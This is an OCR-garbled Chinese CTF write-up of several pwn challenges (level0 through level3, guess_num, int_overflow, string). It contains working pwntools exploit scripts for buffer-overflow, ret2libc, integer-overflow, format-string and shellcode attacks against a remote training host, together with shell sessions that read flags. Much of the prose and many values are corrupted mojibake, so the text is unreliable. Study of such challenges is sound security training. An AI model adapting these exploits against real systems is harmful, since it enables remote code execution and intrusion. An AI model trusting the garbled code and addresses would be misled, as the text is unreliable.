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# 1s

# file 291721f42a044f50a2aead748d539df0
2q1?21f42dﬂ44f50a2&ead?45d539dfﬂ ELF 64-bit LSB executable, x86-64, version 1

5Y5V), dynamically linked, interpreter /lib64/ld-l1inux-x86-b4.s0.2, for GNU/Li
x 2.6.32, BuildID[shal]=8dcOb3ec5a7b489e6la71lbclafta7974135b0d3d4, not stripped
; #

IDAE BB, #iH—4 hello world4R )5 5t 8 — /N6 IR B #:
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Fdjici= O & X || [E 1IoAviewa [ | AR B8 |

Fge i - I:E.nt __cdecl main(int argc, const char **arg
_system 3 write(1, "Hello, World\n", ©xDulLL);
_read o 4 return vulnerable function();
__libe_start_main 5}
—gnon_start
_start

deregister_tm_clones
register _tm_clones
_do_global dters_aux
frame_dummy
callsystam
vulnerable_function
main

m

__libe_esu init

_libe_e=u fina =
_term_proc

XAMEIRF KR BWRKE, HEE000M FRFHNUE 080N AR K IR -

1jssize t vulnerable function()

2

3| char buf; // [rsp+@h] [rbp-88h]
4

5  return read(@, &buf, @x280ull);

&}

AEERHE O, RIERI—NERBEREL, callsystemE$al LLiLRAIZRE — 4 shell, BLET .

7 s 0 & x| IDA Views [ | | af
ErEe - ;?nt callsystem()

f| _system 3 return system("/bin/sh™);
| _read | 4(}

fl __1ibe_start _main

| __emon_start

| _start

f| deregister_tm_clones

f| register_tm_clones

| _do_global dtors_aux 3

F| frame_dummy

f| call=sy=stem

| vulnerable_function

AR — TR Rk, WATE XA, AR 2IX A ik b



Breakpoint 1, in main ()
(gdb) p callsystem
= {<text variable, no debug info>}

X ERE—Fx86-64 R F A RIS, IEESLE R, BEMART
X B EEMEACTFL&KPwWNToolsfE, 5infEiiTadRXH:

from pwn import *

r = remote("111.198.29.45",48316) TRk

#'a'*ox82 T ebp, p64(0x00400596) ZIHFEret

payload = 'A' * 0x80 + 'a' * Ox8 + p64(0x00400596)
r.recvuntil("Hello, World\n")#HEZ|#kF|Hello, WorldA #4475 H IR IE
r.sendline(payload)# % i%—17 4R

r.interactive()#3 Hshell

ls -hl
N total 32K
drwxr-x--- 1000 4.0K Oct 4 2018 bin
drwxr-x--- 1000 4.0K Oct 4 2018 dev
| ' 1000 45 Mar 13 14:29 flag
ED -FWXFr-X-- - 1000 7.1K Sep 28 2018 levelO

drwxr-x- - - 1000 4.0K Oct 4 2018 1ib
@9 drwxr-x-- - 1000 4.0K Oct 4 2018 1ib32
drwxr-x- - - 1000 4.0K Oct 4 2018 1ib64
D  cat flag
ea cyberpeace{a43d6d4efa/4b71e07325513b0f9e67/3}

% —#: when_did_you born
WhEﬂ_dfd_yDu_bDrn - B {EWriteupEFE M * Spwpuniff

MEE R
BRI

mEmE: R

ARHE:

e B B -




HABEXMEF B, Me4hLinuxr]#ITEF, R EEFELE.

# file 24ac28ef281b4bbcaab44d6d5
243c28ef281b4b6caab44d6d52b1?491 ELF 64-bit LSB executab
[ ] sysv), dynamically linked, interpreter /1ib64/1d-1linux-x8¢
X 2.6.32, BuildID[shal]=718185b5ec9c26eb9aeccfalab53678e3
.} . # ./24ac28ef281b4b6caab44d6d52bl
What's Your Birth?
ailx10
% What's Your Name?
ailx1e
o You Are Born In 4196144
You Are Naive.
M You Speed Une Second Here.
# checksec 24ac28ef281b4bbcaab44q
[*] 'fhnmefctffpwnfzdaczsefzﬁ1b4b6caab44d6d52b1?491'
Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack:
NX:
PLE:

IDAE— T HN#EH, XEFE1926, 4 HELIRER 192615 XER1926, 7% X/ gets(&v4)E%k L H#Iv5
LEHEE, WERI19268AT LT .



7 E#En 068 x |[F maviea [0 ] E RLee) 8 |

Fighe - 4| char v4; // [rsp+8h] [rbp-28h]

ﬁ_ _ S| unsigned int v5; // [rsp+8h] [rbp-18h]
—libe_stert_main 6| unsigned _ int64 v6; // [rsp+18h] [rbp-8h]
_getchar 7
—gets ® 8 v6 = _ readfsqword(@x28u);
—150c99_scanf ® 9| setbuf(stdin, OLL);

__gmon_start__ ® 18| setbuf(stdout, OLL);
start —| ® 11| setbuf(stderr, @LL);
sub_400760 ® 12| puts(“"what's Your Birth?");

sub_400TED ® 13| _ isoc99 scanf("%d", &v5);

sub_400800 ® 14| while ( getchar() != 10 )
main ¢ 15_ -

g ® ii ?f ( v5 == 1926 )

= 7

::m _— ® 13 puts(”You Cannot Born In 1926!7);

it = = ® 19 result = @LL;
puts - 26
_ stack chk fail 91
setbunf 22
53’?{“ ® 23 puts("What's Your Name?");
printf ® 24 gets((__int64)8&v4);
_libe_start_main ® 25 printf("You Are Born In %d\n", v5);
getchar ® 26 if ( v5 == 1926 )
gets 5 27 {

__is0c93_scanf | ® 28 puts(“You Shall Have Flag.");
| 3 ® 29 system(“"cat flag");
30 }
1 17/29 31 else
o, RS oe x| 2| |
: : '@ 33 puts("You Are Naive.");
: ® 34 puts(“You Speed One Second Here."
a5
® 36
37
® 38| return result;
= 000008D9 main:24 (4008D9)

BER EERBVATIVEREEE:



it B8]

type (data/ascii/array)
1=
commands to eate local
"oani epresent

Saved regs 3: Pure )

?

? ; undefined

? s MW defined

? _ undetined

? : undefined

? undefined

? undefined

? undeftined

?

? indetined

? undefined

? undeftined

R EvARIME, BiEVvOKE, MATUESflagT .

from pwn import *
r=remote("111.198.29.45",33469)
payload="a'*(0x20-0x18)+p64(1926)
r.recvuntil("What's Your Birth?\n")
r.sendline("0")

r.recvuntil("What's Your Name?\n")
r.sendline(payload)

print r.recv()

print r.recv()

#r.interactive()

[+] Opening connection to 111.198.29.45 on port 33469: Done
You Are Born In 1926

¥ You Shall Have Flag.
cyberpeace{dleleeff980ff3c5flb4a32a9ebfOabd}

[“] Closed connection to 111.198.29.45 port 33469
. #

®
$=8. hello_ pwn




hello_pwn [ &&EwWriteupBEHAGER * DavidCRIBM:

A E R
B ik

ABER: RILTAREZT R

B P
AR 2
HABERXAMEFEREM, BRE4RLInuxaT ST

# checksec 4f2f44c94

o ['] /hnme/ctf/pwn/4f2f44c94?1d4dt2b59768??9-

Arch: amd64-64-1little
1 RELRO: Partial RELRO

Stack:

NX:

PIE:
S : # ./4f2f44c9471d4dc2
@@ ~~ welcome to ctf ~~

lets get helloworld for bof

ailx1lo
9

IDAE — T W #Z%E, KIARBBER E— Mk KE Anuaa BT,

B S s

ol i

alarm({@x3Cu);
setbuf(stdout, @LL);
. ielcome to ctf ~e~ | H

puts(“lets get helloworld for bof");

read(@, &unk 681863, @x18ull);

1f { dmurd hHth[ == 'nuaa’ )

/! system("cat flag.txt");

18 rwturn OLL;
110}

XEER—T, XEMEFRERRaaun




from pwn import *
r=remote("111.198.29.45",41848)
payload="a'*(0x6c-0x68)+"'aaun’
r.recvuntil("lets get helloworld for bof\n")
r.sendline(payload)

r.interactive()

[+] Opening connection to 111.198.29.45 on port
| “] Switching to interactive mode
cyberpeace{016d20ca7e9d1b083dbf0d3ed87cb865}
[*] Got EOF while reading in interactive

[“] Interrupted
[*] Closed connection to 111.198.29.45 port 41¢

FIE: level2
|EUE|2 - B {EWriteupByuluohhi2 {#

MEE R
& B KR -

S0 B3R SIS iEs A TR

RLIAREZITR

o B P -
R AR 2
ERBREXARFRE, MI20Linux HATHET .




# ./lab77c0
Input:

M ailx10o
Hello World!

: # checksec
[*] '/home/ctf/pwn/lab/77c073b4T4524b

Arch: 1386-32-1little
RELRO: Partial RELRO
@@ Stack:
NX:
9 PIE:

IDAE‘_‘—FW%Eﬁ’ ’?Eﬁﬁi’ E}%i&}\“ﬁyﬁ”glﬁ1 ZE%EH_‘/I\I']GIIO world:

TIOA Vies=- F=endocod - IZI 1

1fint  cdecl main(int argc, const char

2

vulnerable function();

system({“echo "Hello World!'™);
return @;

}

[ W B =R N

BN TR R — R

I
7]
LA
I ' I
|
1}
=t

vulnerable function()

char buf; /f/ [esp+8h] [ebp-88h]
system("echo Input:");
return read(@, &buf, @x1686u);

}

buff X/N0x88, T AN AT LAZE i 20x100M N % . X B FEZEReturn to libc, Bh¥: F|systemRZ %, his—4
BRI H0 T F AR

=] I N s Ll Ra



from pwn import *
system=0x08048320
shell=0x0804A024
r=remote("111.198.29.45",52840)

payload="a'*(@x88)+'A'*(0x4)+p32(system)+p32(0)+p32(shell)

r.recvuntil("Input:\n")
r.sendline(payload)
r.interactive()

H ElsystemAR G ek S bk

f| _init_proe
£ | saub_S048300

_read
7| _system
_ gmon_start_
_ libe_start main
_start
_xB86_get_pc_thunk _bux
deregister_tm_clones
register_tm_clones
_de_global dtors_awe

B shell 747 8 ik -

.

el

/

B et

.plt:080483206 command
~ .plt:@8e48320
® |.plt:dBeas3ze jmp

[1:

L. p1t: BBB48320

.plt:08048326 ;

.plt: 28848326 push
— .plt:@8843328 jmp

.

.plt: 08048336 ;
.plt: 08048336 push

IDA View—A | |

s =HeEn B

.plt: 88848328 system endp

= dword ptr 4

ds:off_

8
sub_Bedq

.plt: 98048330 ; [00000086 BYTES: COLLAPSED FL

18h

Pseudocode-C [:1 Fseudoc

g

(08045154
0804522D
03045237
(03045246
0804524
08045252
(03045264
(08045273
.rodata: 08048540
.rodata: 080485
.eh_frame: 030
. data: 0804402
BJE I3k Eshell#Z#HH, ZZflag

EEEEEEEE
EEEEEBEED

o 2 1 A 0 0 0

=E

00000013
0000000A
O0000o0F

0000000A
0o0o0o0cC
00000014
00000005
00000003

£ =TFF
Flib/1ld-linux. s0.2
libe. s0. B

_I0 _stdin_used
read

system
_libe_start_main
__gmon_start
GLIBC 2.0

echo Input:

eche "Hello World!’
H2EN

/binfsh

1 (o I e T T e R o R e TN o N s e N e O e |



[~ ] [+] Opening connection to 111.198.29.45 on port 52840:
[“] Switching to interactive mode
IE ls -hl
total 32K
drwxr-x- - 1000 4.0K Oct 4 2018 bin
w drwxr-x-- 1000 4.0K Oct 4 2018 dev
1 1000 45 Mar 14 08:04 flag

1000 7.3K Sep 28 2018 level2
drwxr-x- - 1000 4.0K Oct 4 2018 1lib
drwxr-x- - 1000 4.0K Oct 4 2018 1ib3Z
drwxr-x--- 1000 4.0K Oct 4 2018 1i464

cat flag
cyberpeace{5740b9db336e2bda08cf5f4782ea5c3f}

$FHB: guess_num
g ue SS_ﬂ um | .H.E'.f_‘f.iWrite up EEI' owbeewe ?;_E':‘[‘j:k .

SIEESE
SlEEu

MEIpR: R IRENELIT R

e B B4
AR5
BRBEBIXAT RS, BOMILnuT BATRRE, T &4%, MELREHLL.




] '/home/ctf/pwn/b59204156a0545e8a22T8518e749f
Arch: amdb4-64-1ittle
RELRO: Partial RELRO
Stack:
NX:

# ./b59204f56a0545e8a221

Please let me know your name!
Your name:ailx10

A . #
IDAE — T &%, MMNFERB10K, H1R, MGG, BMREEIIERZ D>, FERBES, L% EET
VAR &%, BEiseedfF, MTE BN K. vifiseedIFEER0x20, HEEZIT L, HseedFh
FHRENO, RETHHE10KBENLEL



4| Lithu O 1 GSLLOLL WL, LITRUeE L, whal QL y I1an a2y

2{

3| int v4; // [rsp+4h] [rbp-3Ch]

4| int i; // [rsp+8h] [rbp-38h]

5| int v63; // [rsp+Ch rbp-34h

6 :

7

3

9

18, v9 = _ readfsqword(@x28u);

11 setbuf(stdin, OLL);

12 setbuf(stdout, OLL); ? fﬁ”*'*'%

13 setbuf(stderr, OLL);

14| v4 = 9;

15| vé = 8;

16| *( QWORD *)seed = sub BBO(); *UFH /N
T & -

18| puts("Welcome to a gue
19 puts("---------- - ¥
26| puts("Please 1 e know your name!"™);
21| printf("Yo ame:™, OLL);

22| gets(&v7);

23| srand(seed[0]);

24| for (1 =05 i <=9; ++i )

LA B B N N N N R BN NENEDNRERNJN.
—:
~J

25| {
® 26 ve = rand() % 6 + 1;
- @ 27 printf("------------- Turn:¥d------------- \n", (unsigne
® 28 printf("Please input your guess number:");
} ® 29 __is0c99 scanf("%#d", &v4);
® 30 puts( --------------------------------- )3
® 31 if ( v4 1= v6 )
32 {
® 33 puts("GG!");
® 34 exit(1l);
35 }

REREIE, BEafr@idcdl LoadLibrary()EZlibck) g%, E4HOFITHEI10RBEN S #HHEEHEMAlibe
R ECR T RENLE, RIERRE T .



from pwn import *
from ctypes import *

libc=cdll.LoadLibrary("/1ib/x86_64-1linux-gnu/libc.so0.6")
libc.srand(0)

r=remote("111.198.29.45",44058)
payload="a'*(0x30-0x10)+p32(0)
r.recvuntil("Your name:")
r.sendline(payload)

for i in range(10):
num=str(libc.rand()%6+1)
r.recvuntil("Please input your guess number:")
r.sendline(num)

r.interactive()

FRIFEXT 101k, EZFlflag:

[+] Opening connection to 111.198.29.45 on port 44058:
[*] Switching to interactive mode

Success!

@9 You are a prophet!
Here is your flag!cyberpeace{480c9423f7fdbdaf45ecbhe867
[*] Got EOF while reading in interactive

F/NE: int_overflow

Int_overtlow B{EWriteupfigetit * Fori2fit |
WE R

=P e

e B A

RIE17%:

e E B4 -
AR
B R, HREEXAEF RS, RI20LinuxeT TR .




g [ | '/home/ctf/pwn/5led19eacdead3e3bd67217d08eb
Arch: 1386-32-1ittle
RELRO: Partial RELRO
Stack:

. NX :

PIE:
# ./5ledl9eacdead3e3bd

1.Login

Your choice:l

Please input your username:
ailxlo
& Hello ailx16

@@ Please input your passwd:
1
P Invalid Password
IDAEE — FiZH: WA1EM, WABMH. XEEWSIFRN, =R,




L= 1UA Yiew—A k.3 ’ =] [rseudocode A |5 ||i~r'_J =t

1int _ cdecl main(int argc, const char **argv, cor
2
3| int v4; /J/ [esp+Ch] [ebp-Ch]
4
® 5| setbuf(stdin, @);
® 6 setbuf(stdout, @);
® 7| setbuf(stderr, @);
® 38 puts("-------------mmmmoo- i -
® 9 puts("~ Welcome to CTF! ~=~");
® 18| puts(” 1.Login -
® 11| puts(” 2.Exit g -
® 12| puts{™------------ - 5

® 13| printf("Your choice:™);
® 14 _ is0c99 scanf("%d", &v4);
® 15| if ( v4 == 1)

16| {
® 17 login();
18| 1}
19| else
20| {
® 2 if ((vd == 2 )
2l {
® 23 puts(“Bye~");
® 24 exit(@);
25 }
B 26 puts("Invalid Choice!™);
27| 1}
® 28 return 6;

ARER, ERMALT, REMAEN:

o ZFFAESHE, sMR/PMRZ0x20, HMEtRI2NFRF
o EMFLAEDUEE, bufffi k/MR0x199, WEtR409NF4/F



1|lchar *login()

2

(v Iy B (R S T

10
11
12
13
14}

char buf; // [esp+8h] [ebp-228h]
char s; // [esp+288h] [ebp-28h]

memset (&=, @, @x28u);

memset(&buf, @, @x260u);
puts("Please input your username:");
read(@, &s, @x19u);

printf{“Hello %s\n", &s);
puts("Please input your passwd:");

read(@, &buf, 8x199u); /
return check passwd(&but);

BENFEERS, BERFEKERTS, MTET8. RATKbUfA] LI A409MFRF, XAV KK N %2
409, 1B HTV3HERRE—Aunsigned int8, iR & KIERL256, FrLARAIBMARDbUf, AT PAXTiXAMv3idk

ITRHEE T
1lichar * cdecl check _passwd{char *s)
2
3 char *result; // eax
4| char dest; [/ [esp+dh] [ebp-14h]
5 unsigned  int8 v3; // [esp+Fh] [ebp-9h]
B
7 i = strlen(s);
g8 if ( w3 <= 3u || w3 » 8u )
9
18 puts("Invalid Password”);
11 result = (char *)fflush{stdout);
12| }
13 else
14| {
15 puts(“Success");
16 fflush(stdout);
17 result = strecpy(&dest, s);
18| ¥
19| return result;
28}

BHZJE, BEATKIA —MRF A, strepyl %, destBIR/DR1GASFT, BEAIM BBt A1 Hl R BB 7. 1
WREENE ? 2R REAE A flagh 3 I Bl .



TI0h View i Fzendocode—C |:| F:
1[int what_is this
2
4}

return system("cat flag");

O000068E what_is_this:1 [(304368E)

JGKHES, XBEF256+4NFRF, eTHBEHEH . EXNFERF, RAITHEEZ R+ R E b, e
B R B PAT R, EEflag.

from pwn import *

r=remote("111.198.29.45",42982)
payload="a'*0x14+"'A'*4+p32(0x0804868B)+"'a"'*(256+4-0x14-4-4)
r.recvuntil("Your choice:")

r.sendline("1")

r.recvuntil("Please input your username:\n")
r.sendline("ailx1e")

r.recvuntil("Please input your passwd:\n")

r.sendline(payload)

r.interactive()

[+] Opening connection to 111.198.29.45 on port
[*] Switching to interactive mode

Success
cyberpeace{e3600484b42ab2/cc82ae93273eT9760}
[*] Got EOF while reading in interactive

FLB: cgpwn2




cgpwn? (8 &fEWriteupiyuluohhigf |

MEE R

R E SR -
SRR

AEHDR:

=% B B4 -
A2
BRI, 320 Linux BT R

E : # checksec 53c2
El '/home/ctf/pwn/53c24fc5522e4a8ea2d9a
o Arch: 1386-32-1ittle
RELRO: Partial RELRO
™ Stack:
NX:
PIE:
# ./53c24fch522

@ please tell me your name
ailx1o

@9 hello,you can leave some message here:
ailx10

P thank you

IDAGHHT—F R ERE R S BRAH A — KBRS0 name S8, 4R JEHI A — R BRI K JE s
SHIZEM X, FATAT AR A KIBE 2 pwn iR £




7 RSSO O & x [..I]:I.ﬂ\'l'ierﬁ.i.:l I..P‘seudocode-l:l:! | Pseuﬂncodﬂ'ﬂ.{j.l 5 Pser

- 3| char *w8; f/ eax
B 4| signed int vl1; // ebx
-imit_proc 5| wunsigned int v2; [/ =cx
sub_5048300 6| char *w3; f/ eax
_setbuf 7| char 53 // [esp+l12h] [ebp-26h]
—gets 8| int ve; J/J [esp+l4h] [ebp-24h]
_fgets 9
_puts L @ = &s;
pwi i » 11| vl = 30:
__ gnon_start el ® 12| if { (unsigned int)ds & 2 )
__libec_start_main 13| {
_start s _? *'_:—'.'IE.:'D “)as = @;
_2EE_gEt_pﬂ_{huﬂ_bx : .-:: :- : gl.ﬁr.l.r ]E .;
deregister_tm_clones oo VR
regizter tm_clomes ‘3 }-. - B
__do_global dters_sux 19| do *
frame_dummy e
pon = | e 21 *(_DWORD *)&v@[v2] = @;
hella 8 22 v2 4= 4;
main 2
_libe_csu_init » 22 while ( v2 < (vl & @xFFFFFFFC) );
_lite_c=u_fini B 25 3 ve[v2];
_term_proc b 26
setbuf - 27
it b ® 28
29
7 18/28 30
ik EES Oo& x|®31
ket ; | @ 32
34| fgets(name, 5@, stdif);
35| puts{"hello,you cjdl’ leave some message here:");
® 36| return gets(Bs);
® 37}
000005F4 hello:36 (BO485F4)

ﬁprnZlﬁI iéiﬂ]?;zf)usystem@%i EEPITHHSPRBATVEEL, FERINIE Nsystemie— S,
MEFEHE —NFEHFE \bin\sh, PHHEER—PshelliPR. Fitk, AT LUIEEE R shel =4 & BEnamef)
B E,

EFE - 1int sysltm{const char *command)
: 2

_system g 3| return system{command};

¥ smom =tart _1_}

« || 3

fT7/28

An EFA O &8 x

Q0000420 . system:1l (S045420)
XERATE T systemB B fhht, nameZ ek, A DALY B Bk



W1ew—h L ||| Feeudocode—F

L g e i

L g e i

L g e i

L g e i

.bss:0304A836 name

FIFReturn to libck B A8, ZshellifR, JHFIZFflag.

[+] Opening connection to 111.198.29.45 on port 56022:
[“] Switching to interactive mode

ls -hl
total 32K
drwxr-x- - -
-rwxr-x- - -
drwxr-x-- -

drwxr-x-- -
cat flag

1000
1000
1000
1000
1000
1000
1000

. 0K
.5K
. 0K

45

. 0K
. 0K
. 0K

Oct 4 2018
Sep 28 2018
Oct 4 2018
Mar 14 12:33
Oct 4 2018
Oct 4 2018
Oct 4 2018

L= Frendocode—h

bin
cgpwn2
dev
flag
1ib
1ib32
1ib64

cyberpeace{35178bd90aflb/bd39c28ababbad9fc8}

#)\8. string

string [ SEwWriteupl B HBGER © DavidCRIZ(H

MEERZN
& E KR

SEHE:

A E B :
AR 2

RERNEZIDR

HABRERXANEFZEM, H64LInuxiI TR, TikBHgotR, &LERY, RATHIT, XBREMH
printfig XA 747 R IR, 20185 ¥F 7 —HIMRHI & Flive, HEEURE.



/home/ctf/pwn/1d3c852354df46@9bf8e56fe8e9-
amdbo4-04-1little

IDA—#RF 3, VIR LK —HhtANFHT, NER68, VvIMEHHNERSS, vAR— M ERVIK8FTI T
o

aman .|

2f

printf ! B

alarm 4 __inte4 wv4; [/

read g

__libe_start_main setbuf(stdout, 6LL);
7| srand 7| alarm{@x3Cu);
F | stremp sub_488996();

= malloc(BulLL); - . ‘

e e printfi& AR &

7| malloe = > [ : 68;
: 12 2[1] = 85;

1zo0c39_=canf - =
: ._‘" - 3 PULS| We STE WLZorg, ill give you hand, you can not defe:

ey puts( we will tel ou two secret ... )}

e printf{“secret[@] is %x\n", w4, 32);

el printf(": et[1] is ¥x\n", + 4);

sub_400800 puts ( .j.:, not tell anyone ");
_. 5uh_4|:I|:I‘35E] g iuh_mn?z{' :|;

gub_400370 ) puts(“The End..... Really?");

sub_400395 28| return OLL:
f| sub_4003D0D ]

we will tell you two secret ...
secret[0] 1s 250a260

secret[1l] is 250a264

do not tell anyone
BEIER, BEARMGE—-NMERELT, KEABET12NF.




IDA Viewh [ |

tits O | O s O |

lunsigned  int64 _ fastcall sub_488D72(__int64 al)

29

3| char s; // [rsp+1@h] [rbp-26h]

L N N N
T B R < R [

16 {
11
12
13
14
15| }
16
17| {
P 18

19| }
P20
» 21}

v3
puts("What should your character’'s name be:");
_isoc99_scanf("%s", &s);
if ( strlen(&s) <= exC )

unsigned inte4 v3; // [rsp+28h] [rbp-8h]

= _ readfsqword(8x28u);

ST ilF XK

puts("Creating a new player.");

sub_480A7D();
sub_4@8BB9();

St ——

sub_488CAG(( DWORD *)al);

else

puts(“Hei! What's up!™);

return _ readfsqword(@x28u) * v3;

BN AR, M, HUR.

=

primtf
alarm
read

_libe_start_main

=ramd

strenp
—mon_ztart
Lime

malloc
__iEocHd_geanf
exit

rand

ztart
=ub_400800
sub_400950
=ub_400570
sub_400296
=ub_40080T
sub_400ATD

o

HA§:¢®ﬁ,E%E,EEﬁA%ﬁ%ﬁ,ﬁﬁﬁﬂmmT,%Eiﬁﬁﬁo

x|

5

1 una.-'i.gn:*d _:Ht'.'s-l -.uh_-l-ﬁarl?r}:_]

char s1; /f [rspiédh] [rbp-18h]
unsigned _ inté4 w2: S/ [rsp+#Bh] [rbp-Bh]

vi = __readfsqword(8x28u);
puts{™ This is a Tamous but gquite unusual inn. The air is fresh and the™});
puts{“marble-tiled ground is clean. Few rowdy guests cen be seen, and the");
putz{"furniture locks undamasged by brawls, which are very comman in other pubs™);
puts{~all arocund the world. The decoration looks extremely wvaluable and would Tit"};
puts{“into a palace, but in this city it's quite ordinary. In the middle of the™);
puts{“room are velwvet covered chairs and benches, which surround large ocaken®);
puts{“tables. A large sign is fixed to the northern wall behind a wooden bar. In");
puts{~one corner you notice a fireplace.™);
puts({“There are two obvious exits: east, up.”);
puts{“But strange thing is ,nc one there."};

= where you wil oreast or up?:i=};
while ( 1 )
{

_isoc0d sconf("%s", Bs1);
if ( !stremp(Bsl, “east™) || lstremp(Bal, "east™) )
break;
puts{~hei! I'm secious!"};
puts{~So0, where you will go?:"}):
1

33
34}

if { stromp(&:z1, “east™) )

if ( stromp(Rsi, "up”) )
sub_48eoDD(R<1, "up™);
puts({~YOU WKNOW WHAT YOU DOI");
exit(@);
¥

return __ readfsqword(@x28u) ~ vi;

S8 Aeastifia] L@ T



lunsigned _ int64 sub_486EBB9()

3| int vl; // [rsp+4h] [rbp-7Ch]

4| __int64 v2; // [rsp+8h] [rbp-78h]

5| char format; // [rsp+18h] [rbp-7@h]

6/ unsigned _ int64 v4; // [rsp+78h] [rbp-8h]
-

8

vd = _ readfsqword(@x28u);
9 wvi = 8LL;
18| puts("You travel a short distance east.That's odd, anyone disappear suddenly”);
11| puts(”, what happend?! You just travel , and find another hole");
12| puts{"You recall, a big black hole will suckk you into it! Know what should you do?");
13| puts{"go into there(l), or leave(8)?:"};
14| _isoc99_scanf("%d", &v1);
15| if { vl == 1 )

16

17 { puts("A voice heard in your mind"};

18 puts(”'Give me an address'");

19| _isoc99 scanf("¥1d", &v2);

28 puts(™And, you wish is:");

21 _is0c99 scanf("#%s", &format); by fr e ==
22 puts(“Your wish is"); mﬁ{ﬁ%iﬂ%’ﬁfﬁl
23 printf(&format, &Format); e————————————

24 puts(”I hear it, I hear it....");

25| %

26, return _ readfsqword(®x2Bu) ~ v4;

271}

HENFB=AEE, BImEE. &, FREZEKal==al[1], tul2&ITHII68TB5MHE.

1linsigned int64 fastcall sub 488CAG6( DWORD *al)

3| wvoid *vl1; // rsi
unsigned _ int64 v3; // [rsp+18h] [rbp-8h]

puts(“Ahu!!lIIITEIITEINITIA Dragon has appeared!!™);
puts("Dragon say: HaHa! you were supposed to have a normal™);
9 puts("RPG game, but I have changed it! you have no weapon and ");
18| puts(“skill! you could not defeat me !");
11| puts("That's sound terrible! you meet final boss!but you level is ONE!"™);

12| if ( *al == al[1] )

4
5
§ v3 = _ readfsqword(@x28u);
7
8

13| {

14 puts(“Wizard: I will help you! USE YOU SPELL");
15 vl = mmap(@LL, ©@xleeeulL, 7, 33, -1, OLL);

16 read(@, v1, @x100ullL);

17 ((void (__fastcall *)(_QWORD, void *))vi)(eLL, v1);
19 return __readfsqword(&x28u) * v3;
200}

BMAMAR AL TRFE, TURBBRIWARE —Mbht, FRPETEIERT



‘Give me an address'
21230176

And, you wish is:
%d,%d,%d,%d,%d,%d, %d, %d

Your wish is
-842623005, -842615424,-843470588,13,0,0,21230176,623666213

Dragon say: HaHa! you were supposed to have a normal

M AT — T A XA bk %5 785, BRINIIBAT F £ T .
4 ‘Give me an address'
18526816
«© And, you wish 1is:
%OX ,%9X,%9X,%9x%,%9X,%35X5%nN
™M Your wish is
7cl1lc97e3, 7clcb580, 7c0fa%04, d, 0,
OI hear it, I hear 1it....

@ Dragon say: HaHa! you were supposed to have a normal

@9 RPG game, but I have changed it! you have no weapon
skill! you could not defeat me !

P That's sound terrible! you meet final boss'!but you 1«
Wizard: I will help you! USE YOU SPELL

Bix BT, AT shellcode Mt T L& Fishel bR, MTizkiEfag.

from pwn import *

shell=asm(shellcraft.amd64.linux.sh(),arch="amd64")
r=remote("111.198.29.45",51271)
payload="%9x, %9x, %9x, %9x, %9X, %35x%n"

r.recvuntil("secret[@] is ")
addr=str(int(r.recvuntil("\n")[:-1],16))

.sendlineafter("What should your character's name be:","ailx10")
.sendlineafter("So, where you will go?east or up?:","east")
.sendlineafter("go into there(1l), or leave(@)?:","1")
.sendlineafter("'Give me an address'",addr)
.sendlineafter("And, you wish is:",payload)
.sendlineafter("Wizard: I will help you! USE YOU SPELL",shell)

b I R B B B |

r.interactive()



[+] Opening connection to 111.198.29.45 on port 51271: Done
4 [*] Switching to interactive mode

1000 4.0K Oct 4 2018 bin

4
1000 4.0K Oct 4 2018 dev
1000 45 Mar 14 15:47 flag
1000 4.0K Oct 4 2018 lib
1000 4.0K Oct 4 2018 1ib32
1000 4.0K Oct 4 2018 lib64
1000 14K Sep 28 2018 string

IEES &
e H SR -

e i

RAEHR: RITARESIIR

R B B
R
BREEXFREN, M2 Linux T RIS, FRi% T — o

i386-32-1little
Partial RELRO

‘/home/ctf/pwn/libc 32.s50.6'
Arch: 1386-32-1little
RELRO: Partial RELRO
Stack:

NX:

PIE:




DA %= — R AT, KM EEH—BRE, RATEAsystemEE T, BAH \bin\shFRHFHT . FERMIATLL
MBS HE T BB F4F, HRSNSFEHIEFENAL T

]III@ED O & X | IDA View—A |:| Fzendocode—#h E
¥ 2?5ize_t vulnerable function()

f| _init_proc 3| char buf; // [esp+8h] [ebp-88h]

f| =ub_8043300 a

f| _read 5 write(l, “"Input:‘n", 7u);

f| __ _gmon_start & return read(@, &buf, @x1886u);

F libe_start _main 7}

fl _write

fl _start

FATAT LA BB AR AL 8 2 Ellmain bR H i bk -

1 fint _ cdecl main(int argc, const char **argv, const
2q

3 wulnerable_function()};

4| write(1l, "Helle, World!\n", @xEu};

5  return 8;

&}

00000454 main:l (G045454)
7] PLAR A B 2 B wrrite B B H ik -

1lssize_t wrilke(int fd, const wvoid *buf, size_t n)

29
3| return write(fd, buf, n);

4}

00000340 . write:l (5048340)

A DA B R BB Fllvulnerable_function g $i it b -

llssize_t wvulnerable function()

2{

3| char buf; // [esp+@h] [ebp-88h]
4

5 write(l, "Inmput:\n", 7u);

6 return read(@, &uf, 8x1@6u);
7}

0000044F vulnerable function:1 (B04544E)

fEiX M vulnerable_functiong&#Hr, FRATTAT LA A X AMUAN OX88AF 15 R/ &b X buf, #4738 H, A Ret to
libcl) BAR, BATTT LARI A write i 30 i write B 3 A & fEgotR H Bt W R (MBI, B
0xf76403c0, 0xf766c3c0) , AJETHE L. FBF|FHEENLE HsystemB F bk, F/bin/sh=7 R & ik .



B 5, BFEEBKXAHE—ANXAvulnerable functions&#, BAESE —KIKIFEFHR R, & LUK reti®
BB 5 B R main R E stk , ] PLE S vulnerablefunction B it . Bz, BATE E 20 F X Nbuf
M X I

from pwn import *

elf=ELF("./level3")
1ib=ELF("./1libc_32.s0.6")

write_plt=elf.plt["write"];print hex(write_plt);#0x8048340
write_got=elf.got["write"];print hex(write_got) ;#0x8042018

main_addr=elf.symbols["main"];print hex(main_addr) ;#0x8048484
vul_addr=elf.symbols["vulnerable_function"];print hex(vul_addr);#0x804844b

r=remote("111.198.29.45",55888)
payloadl="A"*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendlineafter("Input:\n",payloadl)

write_addr=u32(r.recv()[:4])#0xf76403c0 0xf766c3c0 WIKIBITHZUER
1lib_base=write_addr-1lib.symbols["write"];print hex(lib_base);#0xf761f000
sys_addr=1ib_base+1lib.symbols["system"];print hex(sys_addr);#0xf7659940
sys_sh=1ib_base+lib.search("/bin/sh").next();print hex(sys_sh);#0xf777802b

payload2="A"*(0x88+4)+p32(sys_addr)+p32(0)+p32(sys_sh)
r.sendlineafter("Input:",payload2)

r.interactive()

[*] Switching to interactive mode

1s -hl
total 32K
drwxr-x- - - 1000 4.0K Oct 4 2018 bin
drwxr-x--- 1000 4.0K Oct 4 2018 dev
1000 45 Mar 15 02:50 flag
